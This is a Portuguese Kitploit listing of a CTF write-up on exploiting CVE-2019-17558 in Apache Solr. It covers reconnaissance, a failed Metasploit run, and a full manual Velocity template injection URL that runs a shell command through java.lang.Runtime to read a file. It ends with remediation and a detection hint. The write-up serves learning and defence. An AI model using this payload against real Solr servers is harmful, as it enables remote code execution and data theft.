Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2019-17558-apache-solr-rce — Write-up de CTF documentando a exploração de CVE-2019-17558 no Apache Solr, abordando reconhecimento, limitações do Metasploit, injeção manual de template Velocity, captura da flag e remediação. | Kitploit
Ferramentas/GitHubGitHub/rogerzeferino/cve-2019-17558-apache-solr-rce
ReconhecimentoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e Educação
GitHubrogerzeferino/cve-2019-17558-apache-solr-rce

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

cve-2019-17558-apache-solr-rce

Write-up de CTF documentando a exploração de CVE-2019-17558 no Apache Solr, abordando reconhecimento, limitações do Metasploit, injeção manual de template Velocity, captura da flag e remediação.

Ver Repositório
13há 1 mêsAinda não revisado
Compartilhar

Apache Solr RCE (CVE-2019-17558) - CTF Write-up

Exploração prática de uma vulnerabilidade de Velocity Template Injection no Apache Solr, evoluindo de uma falha em ferramenta automatizada (Metasploit) para uma exploração manual bem-sucedida.

Este write-up documenta o raciocínio completo do exercício, com foco no diagnóstico da falha da ferramenta e no pivot para a exploração manual.

Cenário

ItemDescrição
AlvoServidor Linux executando Apache Solr na porta 8983
ObjetivoLer o conteúdo de um arquivo sensível (/home/favorite_book.txt)
VulnerabilidadeCVE-2019-17558 (RCE via Velocity Response Writer)

1. Reconhecimento

A fase inicial consistiu na identificação de serviços ativos no host alvo.

root@kitploit:~
nmap -sV -p- <TARGET_IP>

Resultados.

  • Porta 8983/tcp aberta.
  • Serviço identificado como Apache Solr.
  • Core identificado via painel web, novacollection.

2. Análise da Vulnerabilidade

Ao acessar o painel administrativo, foi confirmado que a versão do Solr era vulnerável a Velocity Template Injection.

A falha ocorre quando o atacante consegue alterar a configuração params.resource.loader.enabled para true, o que permite o uso de templates Velocity personalizados e, a partir daí, a execução de código Java arbitrário no servidor.

3. Exploração Automatizada (Metasploit)

Inicialmente foi utilizado o módulo exploit/multi/http/solr_velocity_rce.

O exploit conseguiu alterar a configuração do Solr com sucesso.

root@kitploit:~
[+] params.resource.loader.enabled is true for core 'novacollection'

No entanto, o estágio final de injeção do payload falhou com um erro de execução Ruby.

root@kitploit:~
NoMethodError: undefined method 'body' for nil:NilClass

Isso indicou que, embora o ambiente estivesse vulnerável e já preparado, a ferramenta não conseguiu processar a resposta do servidor para finalizar o ataque. O alvo não estava seguro, apenas o método de entrega do módulo precisava ser ajustado.

4. Exploração Manual

Com o Velocity Writer já habilitado pelo Metasploit, a injeção foi realizada manualmente via requisição HTTP GET, contornando o erro do script. O template Velocity foi construído para instanciar java.lang.Runtime e executar o comando de leitura do arquivo alvo.

root@kitploit:~
http://<TARGET_IP>:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Comando efetivamente executado no servidor.

root@kitploit:~
cat /home/favorite_book.txt

5. Resultado

A injeção foi bem-sucedida e o conteúdo do arquivo foi retornado diretamente no corpo da resposta HTTP, renderizado no navegador, permitindo a captura da flag.

Aprendizados

  • Limitação de ferramentas. Scanners e exploits automatizados podem falhar por peculiaridades do ambiente ou bugs no próprio módulo.
  • Conhecimento de base. Entender o funcionamento da CVE-2019-17558 foi o que permitiu pivotar de uma falha da ferramenta para um ataque manual bem-sucedido.
  • Persistência. O erro NoMethodError não significava alvo seguro, apenas que o método de entrega precisava de ajuste.

Remediação

  • Atualizar o Apache Solr para uma versão corrigida (8.4 ou superior).
  • Garantir que params.resource.loader.enabled permaneça desabilitado.
  • Restringir o acesso à porta 8983 apenas a redes confiáveis, nunca expondo o Solr diretamente à internet.
  • Monitorar requisições ao endpoint select com parâmetros wt=velocity, úteis como assinatura de detecção em SIEM.

Referências

  • CVE-2019-17558 (NVD e documentação oficial do Apache Solr).

Disclaimer

Este repositório foi criado para fins educacionais e de documentação de aprendizado em ambiente controlado (CTF). Não utilize estas técnicas contra sistemas sem autorização explícita.

Baixar ferramenta